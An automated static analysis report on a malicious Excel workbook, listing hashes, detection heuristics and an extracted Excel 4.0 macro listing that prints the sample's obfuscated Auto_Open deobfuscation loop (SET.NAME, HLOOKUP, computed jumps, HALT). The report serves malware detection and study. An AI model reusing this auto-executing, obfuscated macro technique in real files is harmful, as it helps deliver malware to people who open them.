Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 55603db96b42f703…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:27 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 8037909a35aa64b621296242a23cc848 SHA-1: 4d75715dfecdee6ba07040eef2912bc93695a476 SHA-256: 55603db96b42f70308cadf2be558a778b53bd71aa10fecaf8b5339628569fe83
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6666 bytes
SHA-256: 5a097121791063be4833f68b2bdf34e17590f7a6a484c1ad70166e187578eae1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  rGeNoZn
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C154 
' 0018     20 LABEL : Cell Value, String Constant - BBSJH len=0 
' 0018     26 LABEL : Cell Value, String Constant - bGKSrgGtxdE len=0 
' 0018     26 LABEL : Cell Value, String Constant - bNiGxEqsWqQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - DQqPRVs len=0 
' 0018     27 LABEL : Cell Value, String Constant - fSKiMJwVpxLt len=0 
' 0018     23 LABEL : Cell Value, String Constant - GKOelxeO len=0 
' 0018     22 LABEL : Cell Value, String Constant - hItqMBP len=0 
' 0018     21 LABEL : Cell Value, String Constant - iQjdNc len=0 
' 0018     21 LABEL : Cell Value, String Constant - NeTWRp len=0 
' 0018     24 LABEL : Cell Value, String Constant - omerXBBGQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - OXKuHFBxnwJu len=0 
' 0018     22 LABEL : Cell Value, String Constant - pDtbHBm len=0 
' 0018     21 LABEL : Cell Value, String Constant - pkPOSm len=0 
' 0018     22 LABEL : Cell Value, String Constant - RAgikyC len=0 
' 0018     24 LABEL : Cell Value, String Constant - RchXtPbnV len=0 
' 0018     21 LABEL : Cell Value, String Constant - rrAqbn len=0 
' 0018     26 LABEL : Cell Value, String Constant - WMWhjmizHCn len=0 
' 0018     22 LABEL : Cell Value, String Constant - wNbiyIf len=0 
' 0018     24 LABEL : Cell Value, String Constant - yFNgyBVTl len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZEIAiZ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  rGeNoZn,T66,"",-877.00000000000000000000
'  rGeNoZn,T67,"",-659.00000000000000000000
'  rGeNoZn,C68,"SET.NAME("pDtbHBm",0+VALUE("0"))",""
'  rGeNoZn,T68,"",-141.00000000000000000000
'  rGeNoZn,T69,"",419.00000000000000000000
'  rGeNoZn,C70,"SET.NAME("iQjdNc",pDtbHBm)",""
'  rGeNoZn,T70,"",-893.00000000000000000000
'  rGeNoZn,T71,"",500.00000000000000000000
'  rGeNoZn,C74,"SET.NAME("DQqPRVs",pDtbHBm)",""
'  rGeNoZn,C77,"SET.NAME("ZEIAiZ",COUNTA(RAgikyC))",""
'  rGeNoZn,C79,"SET.NAME("fSKiMJwVpxLt",COUNTA(BBSJH))",""
'  rGeNoZn,C83,[],""
'  rGeNoZn,C85,"SET.NAME("hItqMBP","")",""
'  rGeNoZn,C90,"iQjdNc",""
'  rGeNoZn,C93,"SET.NAME("bGKSrgGtxdE",HLOOKUP("*",RAgikyC,iQjdNc,FALSE))",""
'  rGeNoZn,C98,"GKOelxeO",""
'  rGeNoZn,C100,"SET.NAME("yFNgyBVTl",pDtbHBm)",""
'  rGeNoZn,C103,[],""
'  rGeNoZn,C108,"yFNgyBVTl",""
'  rGeNoZn,C111,"omerXBBGQ",""
'  rGeNoZn,C113,"WMWhjmizHCn",""
'  rGeNoZn,C117,"wNbiyIf",""
'  rGeNoZn,C121,"SET.NAME("pkPOSm",VALUE(HLOOKUP("*",BBSJH,wNbiyIf,FALSE)))",""
'  rGeNoZn,C123,"RchXtPbnV",""
'  rGeNoZn,C125,"hItqMBP",""
'  rGeNoZn,C127,"DQqPRVs",""
'  rGeNoZn,C130,NEXT(),""
'  rGeNoZn,C135,"bNiGxEqsWqQ",""
'  rGeNoZn,C139,[],""
'  rGeNoZn,C144,"rrAqbn",""
'  rGeNoZn,C147,NEXT(),""
'  rGeNoZn,C151,RETURN(),""
'  rGeNoZn,C173,"SET.NAME("NeTWRp",C68)",""
'  rGeNoZn,C177,"RAgikyC",""
'  rGeNoZn,C180,"SET.NAME("BBSJH",R43C13)",""
'  rGeNoZn,C183,"SET.NAME("rrAqbn",193)",""
'  rGeNoZn,C188,"SET.NAME("OXKuHFBxnwJu",3)",""
'  rGeNoZn,C192,NeTWRp(),""
'  rGeNoZn,C193,HALT(),""

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